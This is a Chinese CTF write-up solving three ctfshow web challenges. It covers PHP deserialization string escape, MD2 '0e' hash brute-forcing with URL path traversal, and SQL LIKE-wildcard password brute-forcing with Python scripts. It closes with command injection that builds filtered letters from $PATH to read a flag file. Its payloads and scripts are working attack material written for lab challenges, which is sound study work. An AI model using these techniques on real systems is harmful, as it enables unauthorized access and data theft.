0x00 web1_此夜圆
<?php error_reporting(0); class a { public $uname; public $password; public function __construct($uname,$password) { $this->uname=$uname; $this->password=$password; } public function __wakeup() { if($this->password==='yu22x') { include('flag.php'); echo $flag; } else { echo 'wrong password'; } } } function filter($string){ return str_replace('Firebasky','Firebaskyup',$string); } $uname=$_GET[1]; $password=1; $ser=filter(serialize(new a($uname,$password))); $test=unserialize($ser); ?>
得到flag的条件:$this->password==='yu22x'
,难点是$password不可控,考查的是反序列化字符串逃逸。
要在参数值的结尾构造:";s:8:"password";s:5:"yu22x";}
(总共是30个字符)。因为str_replace('Firebasky','Firebaskyup',$string);
替换后从9个字符变为了11个,多了两个字符,因此输入15个Firebasky即可。
最终payload:
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
0x01 web2_故人心
<?php error_reporting(0); highlight_file(__FILE__); $a=$_GET['a']; $b=$_GET['b']; $c=$_GET['c']; $url[1]=$_POST['url']; if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){ $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c))); if($d){ highlight_file('hint.php'); if(filter_var($url[1],FILTER_VALIDATE_URL)){ $host=parse_url($url[1]); print_r($host); if(preg_match('/ctfshow\.com$/',$host['host'])){ print_r(file_get_contents($url[1])); }else{ echo '差点点就成功了!'; } }else{ echo 'please give me url!!!'; } }else{ echo '想一想md5碰撞原理吧?!'; } }else{ echo '第一个都过不了还想要flag呀?!'; }
Err这既视感。题目提示robots.txt,访问一下里面的hinthint.txt,收集信息后面会用到:
Is it particularly difficult to break MD2?! I'll tell you quietly that I saw the payoad of the author. But the numbers are not clear.have fun~~~~ xxxxx024452 hash("md2",$b) xxxxxx48399 hash("md2",hash("md2",$b))
第一关:
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)
查阅资料得知:php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。小数点往左偏移是负数,因此输入
可绕过。1e-162
第二关:
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
0e开头的数,md2加密后仍然是0e开头可绕过这个判断,用到了hinthint.txt中的提示,爆破:
<?php for($i=0;$i<99999;$i++){ $number1=hash("md2", '0e'.$i.'024452'); if(substr($number1,0,2)==='0e' and is_numeric($number1)){ echo 'number1=0e'.$i.'024452'."\n"; break; } } for($j=0;$j<9999999;$j++){ //hash("md2",hash("md2",$b)) $number2=hash("md2",hash("md2", '0e'.$j.'48399')); if(substr($number2,0,2)==='0e' and is_numeric($number2)){ echo 'number2=0e'.$j.'48399'."\n"; break; } } ?>
运行后得到:
number1=0e652024452 number2=0e603448399
第三关:
php在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录,不断向上级跳到根目录查看flag文件。
Array ( [scheme] => a [host] => ctfshow.com [path] => /../../../../../../fl0g.txt )
0x02 web3_莫负婵娟
在源代码看见提示:
<!--注意:正式上线请删除注释内容! --> <!-- username yu22x --> <!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
查了下资料,关于binary:
BINARY 运算符将紧随其后的 string 转换为 二进制字符串。
主要用来强制进行按字节进行比较(byte by byte),字节而不是字符的字符。这使得字符串比较是区分大小写的,
LIKE 表示模糊匹配,后可以接%和_(下划线)。
- % 表示零个或多个字符的任意字符串。
- _(下划线)表示任何单个字符
fuzz了一下%被过滤啦。写脚本判断密码的长度:
import requests url = "http://9d87880a-0a6b-4edd-9a7a-334c1fa0458b.chall.ctf.show/login.php" passwd = "" for i in range(1,40): s = requests.session() passwd = "_" * i data = {'username':'yu22x','password':passwd} rr = s.post(url,data=data) rr2 = rr.text if "wrong" not in rr2: print(rr2+"\n") print(i)
运行后得到:
<div align="center">I have filtered all the characters. Why can you come in? get out!</div> 32
猜测每一位的具体数:
import requests import string url = "http://dc61c4fa-15e5-4b04-940f-cfbb46a2bc3e.chall.ctf.show/login.php" passwd = "" flag = "" dic = string.ascii_letters+string.digits for i in range(1,33): for j in dic: s = requests.session() passwd = flag + j + "_" * (32-i) # print(passwd) data = {'username':'yu22x','password':passwd} rr = s.post(url,data=data) rr2 = rr.text if "wrong" not in rr2: flag = flag + j print(flag+"\n") break
会跑很长时间Q Q,下楼溜达一圈后得:
67815b0c009ee970fe4014abaa3Fa6A0
进去后看到这个界面,应该是命令执行:
经过测试,小写字母全部被过滤,大写字母没被过滤,;
也没被过滤。查阅资料得知可以通过环境变量$PATH
来构造需要的小写字母,其默认值为:
export PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
列出当前目录下所有的文件需要用到的命令是ls
。环境变量从0开始数第五个为“l”取一位,所以是${PATH:5:1}
,“s”同理:
0;${PATH:5:1}${PATH:2:1}
接下来要查看flag.php。因为环境变量中没有字母“t”构造不出来惹,考虑使用其他的命令查看该文件:
- cat 由第一行开始显示档案内容
- tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写
- more 一页一页的显示档案内容
- less 与 more 类似,但是比 more 更好的是,他可以往前翻页
- head 只看头几行
- tail 只看尾巴几行
- nl 显示的时候,顺道输出 行号
- od 以二进制的方式读取档案内容
可以使用环境变量构造nl,因为不能构造flag.php,使用通配符代替:
nl ????.???
最终payload:0;${PATH:14:1}${PATH:5:1} ????.???
在源代码处可查看flag。